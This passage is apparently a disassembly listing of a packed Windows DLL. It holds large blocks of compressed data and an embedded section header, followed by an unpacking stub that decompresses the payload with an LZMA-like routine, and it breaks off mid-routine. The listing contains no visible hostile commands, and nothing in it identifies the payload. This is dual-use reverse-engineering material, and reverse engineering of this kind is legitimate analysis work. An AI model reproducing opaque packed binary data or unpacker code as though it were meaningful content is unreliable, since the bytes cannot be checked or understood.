		dd 0A0A3412h, 0F092964h, 0F100F1Ch, 0D670E36h, 0F07171Ah
		dd 6927151Bh, 0A181F10h, 9450A18h, 0C111311h, 0E2E0F0Eh
		dd 16310F26h, 220E1B4Ah, 0E1B071Ah, 0A0D0E29h, 241D3D4Ch
		dd 0E0E310Eh, 2308240Eh, 224F204Bh, 8211C4Eh, 2B590B45h
		dd 32230B06h, 22250720h, 710060Ah, 1F051021h, 10312C23h
		dd 2526951Bh, 36221D30h, 220C160Bh, 260A2406h, 1C1F9F32h
		dd 5A68307Dh, 0C100C17h, 3D43E422h, 0C0D0D15h, 0E12395Fh
		dd 0F280A1Bh, 56340806h, 13110811h, 0C1E1A1Ah, 9181B08h
		dd 12100E1Ah, 16342B29h, 0A730C0Dh, 3F100806h, 190C2C13h
		dd 19060C11h, 451A208Eh, 4F05420Dh, 173E2519h, 2E09560Ch
		dd 2B1F0646h, 0F195E06h, 223A0908h, 5140634h, 1D2F0666h
		dd 300A0D05h, 207F2A19h, 0AD25113Bh, 13341210h,	0D7F03329h
		dd 68F0EC03h, 0C17F003h, 239F055h, 2CCF016h, 1CF02313h
		dd 60A1303h, 190F0C11h,	0C4F05B0Bh, 80C1601h, 80E0C08h
		dd 6941570Ch, 0FAF0091Ah, 0F072900h, 6E80606h, 5B060606h
		dd 0D0B0608h, 5050E08h,	0A0D0B05h, 22060C15h, 61D5C12h
		dd 6060606h, 0F060606h,	20431D09h, 2E08255Bh, 90A0A0Eh
		dd 0B0A090Ah, 19060606h, 15310B0Fh, 222D0616h, 12190D09h
		dd 250B0C58h, 100D0A08h, 615430Ah, 0C12112Ah, 0C0B1E0Eh
		dd 28085C45h, 8080A09h,	91C080Ch, 10230D0Eh, 0B0C0909h
		dd 101B2315h, 8564808h,	0A075818h, 0F070809h, 0D0C1024h
		dd 0D1F2D16h, 3138080Bh, 2C130D30h, 621222Ah, 1C44AF22h
		dd 0B301C2Ch, 920330Dh,	1B064A0Fh, 65F251Dh, 0D0C3E41h
		dd 1A060E76h, 2D051F1Ah, 870C0B08h, 6A62B17h, 100E0B09h
		dd 1B060D06h, 6241728h,	0F0C093Ch, 0C1B2018h, 0E075213h
		dd 0C1B0E0Bh, 1407250Ch, 170E0C14h, 131C3925h, 15AF014h
		dd 3C1B1D44h, 70F0806h,	7090B0Ah, 17270709h, 0B370909h
		dd 0B0B2B0Dh, 10060A21h, 0D0C320Ch, 443C2417h, 9230685h
		dd 9E081516h, 0C081E17h, 0B080C08h, 0A080C08h, 8130B08h
		dd 82E1E0Ch, 0B19050Dh,	0D0B0919h, 33091317h, 0B231031h
		dd 1F7D2106h, 27090606h, 0B4B1C31h, 61F5A0Ch, 0E210B0Eh
		dd 67086B0Fh, 0D390A36h, 6A11209h, 6336219h, 23063644h
		dd 31120D0Ah, 171C0D0Bh, 495D0F2Fh, 6171AADh, 6061008h
		dd 7060606h, 121F1805h,	91A390Ah, 61C2508h, 1F062D6Eh
		dd 21492318h, 301A0D0Ch, 22151D84h, 0F1C090Ch, 909082Dh
		dd 0A0B0809h, 0F0301315h, 185C00F4h, 0A0C0908h,	0D250F15h
		dd 0C082606h, 0A531640h, 51160655h, 0C2D1E1Dh, 0F232D14h
		dd 1C0D0B27h, 5121622h,	1E061C0Eh, 4610100Bh, 0F520623h
		dd 0D0C7E1Eh, 17143B47h, 2D08072Eh, 15911125h, 160E0C44h
		dd 0C080E0Eh, 0B441160Ch, 192A151Dh, 20301311h,	7160C0Bh
		dd 1F150A0Ch, 8406210Ah, 11490E0Bh, 190F0B06h, 13140E4Eh
		dd 2F0F4609h, 91C3923h,	915060Bh, 34690F09h, 111B4C1Ch
		dd 331F0621h, 0C0D1109h, 3509150Ah, 0F0E1017h, 356C091Ah
		dd 60B3F12h, 15220A1Dh,	5A0F3A05h, 19221B06h, 111B060Ch
		dd 0D2B2509h, 0C0DB00Dh, 0D0B3409h, 0E0A1920h, 100E0F2Dh
		dd 0B110F10h, 0B092011h, 90D070Ah, 0F74060Ch, 0A17170Dh
		dd 0A270621h, 0B3D0F15h, 1F1D2907h, 7271218h, 62252E10h
		dd 3C092105h, 0F0160B0Ch, 0C07014Ch, 7643160Ch,	161C3007h
		dd 80B0808h, 0B080945h,	61B1509h, 0B2E0B38h, 60D140Dh
		dd 1B161E22h, 0E0B0890h, 61E3C17h, 4D0163F0h, 0C28092Bh
		dd 6162724h, 3329102Ah,	0F172606h, 60B060Dh, 0EB12063Fh
		dd 1E0E5419h, 0B0B0B06h, 0C161031h, 0A121B0Dh, 0E0A1D33h
		dd 60B0C0Eh, 1D09181Bh,	6211507h, 6150A0Bh, 8670610h, 2711372Dh
		dd 0A090714h, 222F0A09h, 0D0B0836h, 6060606h, 505080Bh
		dd 98362C1Dh, 2508151Bh, 41191A06h, 121D183Ah, 231B0A0Dh
		dd 140C0C07h, 0B090506h, 60E0819h, 9092615h, 0B0C110Eh
		dd 180C0815h, 71133D09h, 4707234Ch, 51C0909h, 0E55110Ah
		dd 140C0B3Ch, 627060Eh,	0B0B0814h, 16090D48h, 2F08110Eh
		dd 0C210B0Bh, 6070E1Fh,	2813152Bh, 150C0B08h, 13082107h
		dd 15110B15h, 2F66050Ch, 0B0C0722h, 170C372Eh, 19120609h
		dd 3C0C0B67h, 0E0B1C4Dh, 0C202F15h, 3B091113h, 25081E06h
		dd 2937183Eh, 161F1414h, 0B0A3506h, 62F1624h, 480F342Ch
		dd 13352731h, 1A121016h, 2D190A17h, 52150D0Ch, 22063D0Ch
		dd 331D0817h, 0B250621h, 0D060C0Ch, 421F2308h, 13166508h
		dd 210C1008h, 16082606h, 272D060Fh, 0C5B0B22h, 0E313740Bh
		dd 13922206h, 1C060B40h, 74B091Eh, 0F170F0Ch, 0C2F1108h
		dd 410C0B07h, 850D0B34h, 24562306h, 800C0916h, 160B0B1Dh
		dd 0E0E080Ch, 1A060D14h, 20250688h, 160D0C08h, 44250914h
		dd 60E3406h, 9062753h, 10090A88h, 8902110h, 7110D0Bh, 0B0B0622h
		dd 2F0D0C86h, 14160909h, 90A0A07h, 90D080Ah, 0C0F3415h
		dd 929210Bh, 9813A93Ch,	0B09060Ch, 9112D14h, 2D5B0636h
		dd 8170981h, 130A0923h,	1F2E1A06h, 1B0A0624h, 0B070B0Bh
		dd 1A09080Ah, 4040448h,	4040404h, 71060404h, 1C0C3810h
		dd 21255608h, 8191006h,	1D442616h, 0D0B0817h, 22060D2Ch
		dd 0BE069D53h, 2B1F0B07h, 0E0E0F28h, 25410620h,	6520635h
		dd 150C0B41h, 171B391Ch, 180E0D1Dh, 1F081108h, 62209ABh
		dd 0B0A3219h, 23100955h, 0E1C6710h, 80F2606h
		dd 6190D0Fh, 0C1F0C49h,	0A22064Ah, 1C0E190Eh, 0C0B3311h
		dd 23068915h, 140D0B6Ah, 0E0C0D1Ch, 21060B13h, 0D0C1454h
		dd 19062325h, 28270931h, 80A2306h, 6341127h, 24250606h
		dd 9091335h, 5090F09h, 12090805h, 683C0656h, 3D07082Dh
		dd 0B340D0Bh, 1F17380Ch, 656850Ch, 12404B34h, 7621212h
		dd 12140A0Dh, 330C0B1Fh, 10131F24h, 15150B0Bh, 201B3448h
		dd 9410F29h, 3F060E06h,	1C190647h, 9553408h, 9230C22h
		dd 260B0B08h, 0A21061Dh, 9154E1Ah, 952C140Fh, 0C0C104Ch
		dd 0C085714h, 2D28150Bh, 2B062815h, 10101111h, 0A0A0B2Dh
		dd 0A0A0A0Ah, 250C630Bh, 0D0C1B22h, 0D0B7C23h, 0B0B1B09h
		dd 1E4A241Ah, 92F00631h, 2A0E2101h, 15161115h, 0E171517h
		dd 6112612h, 3E091919h,	150C0B07h, 0B0C1009h, 0E4C2419h
		dd 2312160Ah, 0C0C3D0Ch, 531E0E44h, 1620194Ch, 62415EAh
		dd 0C0D102Eh, 0E26100Ah, 0B27310Ch, 1214290Ch, 0D110A0Fh
		dd 101D1A06h, 6F100A12h, 1A0E0C33h, 0D140D0Bh, 0A181B06h
		dd 472F0811h, 37090A09h, 201C3C0Eh, 536440Ch, 192C0F22h
		dd 58273F0Fh, 36090608h, 64A1122h, 110B0B0Bh, 4F2F080Ch
		dd 16112715h, 0A0C050Eh, 38151F45h, 57292009h, 23160D0Bh
		dd 18163109h, 1B065907h, 17180929h, 19060D0Ah, 300D3606h
		dd 2124226Ah, 6451449h,	18261C1Bh, 521E2A0Ah, 6060B09h
		dd 6060606h, 2406130Ah,	0B171D5Bh, 62E3406h, 8EF03233h
		dd 4041C1Ah, 6 dup(4040404h), 4040408h,	16h dup(4040404h)
		dd 4040804h, 9 dup(4040404h), 4080404h,	9 dup(4040404h)
		dd 4020CF0h, 21h dup(4040404h),	4340404h, 0F040404h, 8041504h
		dd 4160E04h, 4040408h, 1A0A2428h, 11040A04h, 4040409h
		dd 4041804h, 2 dup(4040404h), 4190414h,	21190D04h, 120A0404h
		dd 404040Ah, 0E040A09h,	4040413h, 4020EF0h, 404320Eh, 19040B1Dh
		dd 4040404h, 21041504h,	4040405h, 13170404h, 4042304h
		dd 100D0418h, 404040Ch,	4040A04h, 4040704h, 19040404h
		dd 190F130Ah, 4141004h,	4041304h, 1A100404h, 4040404h
		dd 31040416h, 404292Fh,	409190Dh, 4040404h, 4042715h, 4040404h
		dd 406121Ch, 4041204h, 4130404h, 41B0404h, 4041104h, 18180440h
		dd 16040459h, 10040404h, 4170404h, 4110404h, 4040A0Ah
		dd 404041Ch, 40C0404h, 4040A2Ah, 17040415h, 4040404h, 42A0408h
		dd 0F040404h, 11070413h, 0A0D0404h, 28040404h, 4110404h
		dd 415120Eh, 4040414h, 13040914h, 17041704h, 15041C04h
		dd 1C040404h, 91C0418h,	9040B04h, 8040B04h, 4080404h, 9230408h
		dd 40A4404h, 1615040Fh,	4230404h, 0D041404h, 404040Ch
		dd 4040404h, 4040413h, 15040404h, 4040F08h, 404140Eh, 0E040404h
		dd 9040404h, 4040D04h, 4041404h, 14151504h, 4110404h, 8040404h
		dd 4040404h, 41D1204h, 101E0404h, 41E0415h, 100C1A04h
		dd 4040422h, 40E0404h, 40F040Ah, 40B040Ah, 4040404h, 4040A04h
		dd 40A0404h, 4041104h, 61A2704h, 4040404h, 405040Bh, 24h dup(4040404h)
		dd 4040804h, 0F3F00D0Bh, 4042900h, 4080408h, 14110904h
		dd 40C1104h, 8110404h, 25040404h, 12040404h, 4040404h
		dd 4240409h, 4040412h, 4040C04h, 0D040413h, 0B18040Ah
		dd 4B044E04h, 4040F04h,	0B040422h, 150C0404h, 4040412h
		dd 8040924h, 2 dup(4040404h), 0B291004h, 4081004h, 17h dup(4040404h)
		dd 404040Ch, 40C0404h, 4040804h, 4041004h, 4100414h, 4041404h
		dd 4100404h, 7041104h, 40B0404h, 4041726h, 2 dup(4040404h)
		dd 10150404h, 0F0040404h, 4040107h, 4110408h, 4140E04h
		dd 4090834h, 4040404h, 4100404h, 4080408h, 20040F04h, 700F0404h
		dd 4150422h, 15140404h,	4060404h, 2 dup(4040404h), 4040804h
		dd 9040C04h, 4040404h, 404040Bh, 41C040Dh, 4080C13h, 1E040F04h
		dd 18040427h, 0E041104h, 1A04040Bh, 4042C04h, 4040419h
		dd 4040B04h, 12200F1Eh,	4041A04h, 8040B04h, 4080404h, 4210404h
		dd 4142815h, 0E060E04h,	4040404h, 8040404h, 4040404h, 804090Fh
		dd 2C040F04h, 2E04040Eh, 0E040404h, 4141704h, 41A040Eh
		dd 4040404h, 4041C04h, 4040517h, 4040404h, 40D0404h, 1E04040Bh
		dd 4040E04h, 4080408h, 18040404h, 4040404h, 1B042A04h
		dd 14040A29h, 4281504h,	40B0404h, 1104040Dh, 4081A04h
		dd 0B040804h, 4040404h,	14040904h, 40B0404h, 4140404h
		dd 4100C04h, 404132Bh, 404040Bh, 4040404h, 40C3704h, 455000h
		dd 3014C00h, 95ABE000h,	3Bh, 0
		dd 0E00E000h, 7010B21h,	1680000h, 980000h, 0
		dd 0ACDA00h, 100000h, 1800000h,	0
		dd 100010h, 20000h, 400h, 2000500h, 400h, 0
		dd 2300000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 1662C00h, 0F000h, 6 dup(0)
		dd 2000000h, 1F0800h, 0Ch dup(0)
		dd 100000h, 30C00h, 6 dup(0)
		dd 65742E00h, 7478h, 1662000h, 100000h,	1680000h, 40000h
		dd 3 dup(0)
		dd 2000h, 61642E60h, 6174h, 73B800h, 1800000h, 320000h
		dd 16C0000h, 3 dup(0)
		dd 4000h, 65722EC0h, 636F6Ch, 234C00h, 2000000h, 240000h
		dd 19E0000h, 3 dup(0)
		dd 4000h, 2200042h, 16A2800h, 22AE800h,	3A2D0000h, 18180002h
		dd 0C661C6B9h, 5CD7B259h, 0D7A5628h, 1513A7EFh,	0E3FE943Fh
		dd 6CA612B6h, 5E64A686h, 36CE2637h, 2F03E7C9h, 8FCE9C51h
		dd 0ACE6A980h, 5D1774B7h, 1D5A3D05h, 0F04BCF0Bh, 0B411EBBh
		dd 0B676C161h, 820B80A5h, 4AC89C2Fh, 9C7C2143h,	0C519A08Bh
		dd 686EF3CEh, 0ABBD67C7h, 49E84A57h, 0CF5702A8h, 0D69793C1h
		dd 26FBCBD1h, 0EE1E159Ch, 0F831779Ch, 0C051CEE5h, 42C641EDh
		dd 78C72247h, 0B0FBD3BDh, 96B13ACEh, 0AE1C6E5Eh, 0C28BF7B5h
		dd 72D74A2Dh, 29D7760Dh, 137B2BCFh, 0B54233Eh, 96334CECh
		dd 301DC8AEh, 457D48h, 5CB64707h, 0D1943EC2h, 149D93CFh
		dd 8822593Ch, 0CFB902EEh, 44F07DAAh, 0FE0A6AF9h, 0E73565DAh
		dd 8AB4D631h, 0C514125h, 38A10CA8h, 9EDB7DADh, 625847FAh
		dd 70E857EAh, 0B8104DB0h, 5A1065Fh, 0F88D10D0h,	0F477FCFFh
		dd 2E302884h, 232D2983h, 0F12E105h, 7E361F83h, 436A1B0h
		dd 0D85BB221h, 4EDD598Ah, 31AD0AA8h, 0A6C94CBEh, 0FE4D51CCh
		dd 937A9BBBh, 9DCA6FDDh, 1E83E48Eh, 0A5CECB00h,	13774829h
		dd 7F9FD07h, 0A09F2436h, 0D3E605AEh, 3F577DA7h,	5A1638ACh
		dd 5A89E878h, 0D3B5E304h, 1C467E32h, 0C28F791h,	2EB5EB11h
		dd 4E476B51h, 3C38DE40h, 6E57386Dh, 0C2B50B94h,	5FF0185Eh
		dd 0EB819A8Bh, 2916332Bh, 40B6E092h, 0FFF43454h, 76282901h
		dd 31739B8Fh, 0CFEFE27Bh, 12795E0Ah, 0E5D459FBh, 8155D4A6h
		dd 3A64A919h, 0CF16830Dh, 4655EF4Ah, 3187A2E1h,	79F762Eh
		dd 6D6B97E9h, 8318EBD0h, 0EAFCD225h, 756133F2h,	0FB334A71h
		dd 5AA14142h, 0E5A06BA0h, 0CFA88B0h, 0A8ECBA30h, 509F38C4h
		dd 8DA1A4D7h, 0EE4A3A69h, 0A877B562h, 15493450h, 25C7381Fh
		dd 0B0A3BF8Ch, 9F3058B5h, 49C221A4h, 0B86F1A1Ch, 59DE3137h
		dd 5278176Ah, 0F9BBC392h, 90F2117Ah, 3A590EFFh,	0E86E3572h
		dd 0C43EE349h, 0CB7CDB09h, 0C522B7B9h, 57DB8D65h, 0CFFF86E0h
		dd 93618839h, 610DEF43h, 541EA205h, 0DFFC43E9h,	0DAD9D0A8h
		dd 15489525h, 5496274Ah, 0C29137E9h, 47F06E09h,	0F6372E37h
		dd 0D6961A8h, 50186CFEh, 88E2AA97h, 40C3826Dh, 0C77FEE87h
		dd 2C5EA6CEh, 8B7E9FCEh, 2369AA00h, 0A83EA6D8h,	0F737836Fh
		dd 0A263BA0Eh, 0E7547185h, 3C025DBh, 0DA81BEEFh, 3678AA42h
		dd 38A50FCCh, 1E1DC039h, 0B099F697h, 0CBCCC598h, 9C7F545Bh
		dd 0AAE2787Bh, 0A28FF698h, 43C044Dh, 17E8D882h,	1EF806D1h
		dd 7E2AE217h, 0C0E12B55h, 0A73669ADh, 748387B9h, 4431C2E9h
		dd 0A1F1C6CFh, 2E7C60B0h, 0C87AF309h, 85111F70h, 804053CDh
		dd 3B6D475h, 210B05E1h,	22F6205h, 0D0CC5916h, 0B976EC14h
		dd 17B47633h, 31F307E9h, 64034DD8h, 89B9E71Eh, 0B91F7F05h
		dd 0F498EACBh, 2CA2588Eh, 7AC7528Eh, 2E058ABDh,	45F0B84Eh
		dd 62BE91D5h, 0A6DF400Ah, 0D11DD5B8h, 0DB839A3Eh, 1E76B4B9h
		dd 0F8FD38FBh, 0FABF446Ch, 3627C712h, 0B561779Bh, 66939E41h
		dd 0B9C3775Bh, 354B2514h, 71E52E35h, 8F42C774h,	0C9AC20ABh
		dd 0CF5B7B1Fh, 0DFE28AD7h, 0D0E42191h, 39622E35h, 6B908C9Bh
		dd 857D5761h, 0C824FA75h, 0B3412215h, 69483934h, 57037AA2h
		dd 2EB2E865h, 4103731Fh, 152A5D06h, 32FAB9DFh, 0C05CD65h
		dd 0E538E378h, 0E105A60h, 0F2CA289Eh, 89E358ABh, 435B0E1Bh
		dd 0FCF56B8Ch, 0DD3316C4h, 95D86050h, 91F4E1F1h, 0B1D53414h
		dd 40BAB757h, 88FD5E3Ch, 0C098AEB6h, 0D61400B8h, 0C8760330h
		dd 602FBAE9h, 0A7221733h, 8AB72939h, 0E5861B69h, 842E6DBEh
		dd 8D572EB6h, 0F276FA11h, 1A615789h, 0C79DE7ABh, 0E884BB7Fh
		dd 0ED5B57A3h, 3D17561Eh, 0EFB13CCAh, 2FEA14B6h, 0BE5B9918h
		dd 8662E773h, 35D71FE4h, 15C0AD13h, 210F4B0Eh, 0B54E9CDDh
		dd 0F52A9B3Dh, 809431D4h, 2A6CA03Bh, 6C7312A9h,	59F95C29h
		dd 5452106Fh, 6D5B55D0h, 2F35559h, 97549F13h, 1EB77FB4h
		dd 0E2CC2F9Fh, 5D23A25h, 0A37ACDACh, 736E61AFh,	2ED2DD2Bh
		dd 19B9A6E3h, 1EB6F66Ch, 5132ABCCh, 6C9BA8D7h, 0BCEFE164h
		dd 0AB8B9D70h, 0EC337AB3h, 467856AFh, 6C3C6338h, 0F625A2C5h
		dd 0DE6D7ECh, 8CD9F042h, 0D63D87B6h, 57E5BB5Ch,	0CA47BE6h
		dd 0E712A991h, 0F76BAF8Eh, 0A747CC63h, 82A76166h, 875FDA5Eh
		dd 2C3E2E6Bh, 4E91D936h, 0AB340A7Ch, 58F1EF51h,	76FFFC78h
		dd 5F269F64h, 0E802A566h, 0BA2CA8A3h, 88FC99Dh,	333C186Bh
		dd 0EBE38F6Fh, 9839C518h, 0CDB499F6h, 57D266CEh, 6B1842CCh
		dd 0C5CEE6C2h, 0BD34338Eh, 0B91F8706h, 8292099Fh, 86B94859h
		dd 66D005C8h, 1881B633h, 0C60758F1h, 265FBCAh, 696BBE1Dh
		dd 7A133B3Ch, 0F3347F83h, 9EB2721Dh, 8C742409h,	4B55B5B8h
		dd 8942147h, 0AC16C41Bh, 0B55FDEB8h, 0A86013FBh, 30587D93h
		dd 92188E7Eh, 91ACE92h,	146A2838h, 0F69F63EFh, 6C885499h
		dd 2F13DF85h, 4982C4A2h, 1E05562Eh, 0EC0CABBCh,	8DB55C2Eh
		dd 0A0379873h, 0EF443CD7h, 0F475384h, 4107E80Bh, 3023A495h
		dd 53A940CEh, 0BCDB6190h, 0D8885AB1h, 5EA55B0Ch, 0FA80B8F2h
		dd 0F44C5552h, 0E5D81FA7h, 289339EEh, 65AF128Ah, 0A1D9BE71h
		dd 0F87813E1h, 50AB41A8h, 4D0547BFh, 2B9D2EA9h,	648A67Eh
		dd 9D7BDCB4h, 0B9ADA908h, 0D0185D82h, 0CCF52D7Ch, 5EE12411h
		dd 0C7854067h, 0A4B690FBh, 0AF38342Bh, 5A6E616Bh, 7104CEC7h
		dd 73F2065h, 5538AF19h,	89BDA5FEh, 84EBF0B8h, 5922A9F8h
		dd 0F854A65h, 0F8E2131h, 0DB179D71h, 831438F0h,	0E69D3306h
		dd 1525C3D9h, 4FAB6C1Dh, 0C7DAD23Ch, 0A2989C2Fh, 40088DFCh
		dd 3C3E4616h, 0AC0C96A4h, 0F3FCE97Eh, 624577E0h, 0E4DFEFAFh
		dd 0B60E3B0Bh, 0C3CC90AFh, 0DBBCF09Bh, 0A85FA1CAh, 24728955h
		dd 87B24CF1h, 0F80A57FEh, 13BC3845h, 0DBF7F4A2h, 8B0F2648h
		dd 0F1EEC3ACh, 317D15DFh, 0C6B35468h, 0A7DE071Ah, 73408174h
		dd 46B2D706h, 53456295h, 0B9B90470h, 44BCADA8h,	6471136h
		dd 9C2DC61Fh, 5CFD965Bh, 0E662298Dh, 5B1D39F7h,	69F16AFEh
		dd 3954B35Ch, 24DF4432h, 4A97B55Fh, 399C4490h, 0B9E61846h
		dd 0F6016227h, 9082EAE0h, 8032AE31h, 4081DC26h,	0FD56C877h
		dd 0C53B711h, 3C0737DFh, 3762A67Bh, 0D0A6CD09h,	0E90EEE71h
		dd 0ABBB494Fh, 88C01F55h, 9453B45Bh, 0C36FAA66h, 0A60098F9h
		dd 88D8DEDFh, 735D3E5Ah, 2034792Fh, 0E15069EDh,	0D165F920h
		dd 28E64636h, 0CD1E7F08h, 0DFB3FF1Ah, 0FB1E6083h, 0F09439B4h
		dd 0EB53324Eh, 4CD1C010h, 0EDA32349h, 0DDA3D634h, 0CC2C92F5h
		dd 80C15088h, 99CE0F83h, 92126560h, 929224D3h, 4E9FF84Eh
		dd 922D979Eh, 0A06367Dh, 5AA601F8h, 4BE07C00h, 0E7D06245h
		dd 5253F0B4h, 0B3B6DC02h, 3C02459Eh, 0B97A5EFAh, 86162316h
		dd 8221324Bh, 864244B1h, 0D3F73E55h, 0C1C6A973h, 46E8D5D8h
		dd 1B2159CCh, 33F65BD5h, 0BE9E42CBh, 712071Fh, 0BAD37C56h
		dd 0D674C24Eh, 719B5C68h, 796B8D61h, 0B4955B11h, 0CC793DB3h
		dd 28675B0Eh, 9EF015A8h, 7EEA42B8h, 0FE504601h,	0E0DDDB8Ah
		dd 0B3647A99h, 4577A14Ah, 0AF3A79B2h, 0D3DD8B7Ah, 0AC1C7B02h
		dd 4249AC95h, 8137E22h,	0BD717341h, 0A0C0ABh, 2	dup(0)
; ---------------------------------------------------------------------------
		cmp	byte ptr [esp+8], 1
		jnz	loc_9C5F62
		pusha
		mov	esi, offset dword_9B8000
		lea	edi, [esi-17000h]
		push	edi
		mov	ebp, esp
		lea	ebx, [esp-3E80h]
		xor	eax, eax


loc_9C5393:				; CODE XREF: .text:009C5396j
		push	eax
		cmp	esp, ebx
		jnz	short loc_9C5393
		inc	esi
		inc	esi
		push	ebx
		push	23BAEh
		push	edi
		add	ebx, 4
		push	ebx
		push	0D366h
		push	esi
		add	ebx, 4
		push	ebx
		push	eax
		mov	dword ptr [ebx], 3
		nop
		nop
		push	ebp
		push	edi
		push	esi
		push	ebx
		sub	esp, 7Ch
		mov	edx, [esp+90h]
		mov	dword ptr [esp+74h], 0
		mov	byte ptr [esp+73h], 0
		mov	ebp, [esp+9Ch]
		lea	eax, [edx+4]
		mov	[esp+78h], eax
		mov	eax, 1
		movzx	ecx, byte ptr [edx+2]
		mov	ebx, eax
		shl	ebx, cl
		mov	ecx, ebx
		dec	ecx
		mov	[esp+6Ch], ecx
		movzx	ecx, byte ptr [edx+1]
		shl	eax, cl
		dec	eax
		mov	[esp+68h], eax
		mov	eax, [esp+0A8h]
		movzx	esi, byte ptr [edx]
		mov	dword ptr [ebp+0], 0
		mov	dword ptr [esp+60h], 0
		mov	dword ptr [eax], 0
		mov	eax, 300h
		mov	[esp+64h], esi
		mov	dword ptr [esp+5Ch], 1
		mov	dword ptr [esp+58h], 1
		mov	dword ptr [esp+54h], 1
		mov	dword ptr [esp+50h], 1
		movzx	ecx, byte ptr [edx+1]
		add	ecx, esi
		shl	eax, cl
		lea	ecx, [eax+736h]
		cmp	[esp+74h], ecx
		jnb	short loc_9C546A
		mov	eax, [esp+78h]


loc_9C5460:				; CODE XREF: .text:009C5468j
		mov	word ptr [eax],	400h
		add	eax, 2
		loop	loc_9C5460


loc_9C546A:				; CODE XREF: .text:009C545Aj
		mov	ebx, [esp+94h]
		xor	edi, edi
		mov	dword ptr [esp+48h], 0FFFFFFFFh
		mov	edx, ebx
		add	edx, [esp+98h]
		mov	[esp+4Ch], edx
		xor	edx, edx


loc_9C548A:				; CODE XREF: .text:009C54A1j
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	edx
		inc	ebx
		or	edi, eax
		cmp	edx, 4
		jle	short loc_9C548A
		mov	ecx, [esp+0A4h]
		cmp	[esp+74h], ecx
		jnb	loc_9C5E18


loc_9C54B4:				; CODE XREF: .text:009C5DF3j
		mov	esi, [esp+74h]
		and	esi, [esp+6Ch]
		mov	eax, [esp+60h]
		mov	edx, [esp+78h]
		shl	eax, 4
		mov	[esp+44h], esi
		add	eax, esi
		cmp	dword ptr [esp+48h], 0FFFFFFh
		lea	ebp, [edx+eax*2]
		ja	short loc_9C54F2
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C54F2:				; CODE XREF: .text:009C54D8j
		mov	eax, [esp+48h]
		mov	dx, [ebp+0]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	loc_9C56E8
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		mov	cl, [esp+64h]
		sar	eax, 5
		mov	esi, 1
		lea	eax, [edx+eax]
		movzx	edx, byte ptr [esp+73h]
		mov	[ebp+0], ax
		mov	eax, [esp+74h]
		and	eax, [esp+68h]
		mov	ebp, [esp+78h]
		shl	eax, cl
		mov	ecx, 8
		sub	ecx, [esp+64h]
		sar	edx, cl
		add	eax, edx
		imul	eax, 600h
		cmp	dword ptr [esp+60h], 6
		lea	eax, [ebp+eax+0E6Ch]
		mov	[esp+14h], eax
		jle	loc_9C562F
		mov	eax, [esp+74h]
		sub	eax, [esp+5Ch]
		mov	edx, [esp+0A0h]
		movzx	eax, byte ptr [edx+eax]
		mov	[esp+40h], eax


loc_9C557C:				; CODE XREF: .text:009C561Fj
		shl	dword ptr [esp+40h], 1
		mov	ecx, [esp+40h]
		lea	edx, [esi+esi]
		mov	ebp, [esp+14h]
		and	ecx, 100h
		cmp	dword ptr [esp+48h], 0FFFFFFh
		lea	eax, [ebp+ecx*2+0]
		mov	[esp+3Ch], ecx
		lea	ebp, [eax+edx]
		ja	short loc_9C55BE
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C55BE:				; CODE XREF: .text:009C55A4j
		mov	eax, [esp+48h]
		mov	cx, [ebp+200h]
		shr	eax, 0Bh
		movzx	esi, cx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_9C55F9
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		mov	esi, edx
		sar	eax, 5
		cmp	dword ptr [esp+3Ch], 0
		lea	eax, [ecx+eax]
		mov	[ebp+200h], ax
		jz	short loc_9C5619
		jmp	short loc_9C5627
; ---------------------------------------------------------------------------


loc_9C55F9:				; CODE XREF: .text:009C55D4j
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, ecx
		lea	esi, [edx+1]
		shr	ax, 5
		sub	cx, ax
		cmp	dword ptr [esp+3Ch], 0
		mov	[ebp+200h], cx
		jz	short loc_9C5627


loc_9C5619:				; CODE XREF: .text:009C55F5j
		cmp	esi, 0FFh
		jle	loc_9C557C
		jmp	short loc_9C56A0
; ---------------------------------------------------------------------------


loc_9C5627:				; CODE XREF: .text:009C55F7j
					; .text:009C5617j ...
		cmp	esi, 0FFh
		jg	short loc_9C56A0


loc_9C562F:				; CODE XREF: .text:009C555Fj
		lea	edx, [esi+esi]
		mov	ebp, [esp+14h]
		add	ebp, edx
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_9C565A
		cmp	ebx, [esp+4Ch]
		jz	loc_9C5E10
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_9C565A:				; CODE XREF: .text:009C5640j
		mov	eax, [esp+48h]
		mov	cx, [ebp+0]
		shr	eax, 0Bh
		movzx	esi, cx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_9C5688
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		mov	esi, edx
		sar	eax, 5
		lea	eax, [ecx+eax]
		mov	[ebp+0], ax
		jmp	short loc_9C5627
; ---------------------------------------------------------------------------


loc_9C5688:				; CODE XREF: .text:009C566Dj
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, ecx
		lea	esi, [edx+1]
		shr	ax, 5
		sub	cx, ax
		mov	[ebp+0], cx
		jmp	short loc_9C5627
; ---------------------------------------------------------------------------


loc_9C56A0:				; CODE XREF: .text:009C5625j
					; .text:009C562Dj
		mov	edx, [esp+74h]
		mov	eax, esi
		mov	ecx, [esp+0A0h]
		mov	[esp+73h], al
		mov	[edx+ecx], al
		inc	edx
		cmp	dword ptr [esp+60h], 3
		mov	[esp+74h], edx
		jg	short loc_9C56CD
		mov	dword ptr [esp+60h], 0
		jmp	loc_9C5DE8
; ---------------------------------------------------------------------------


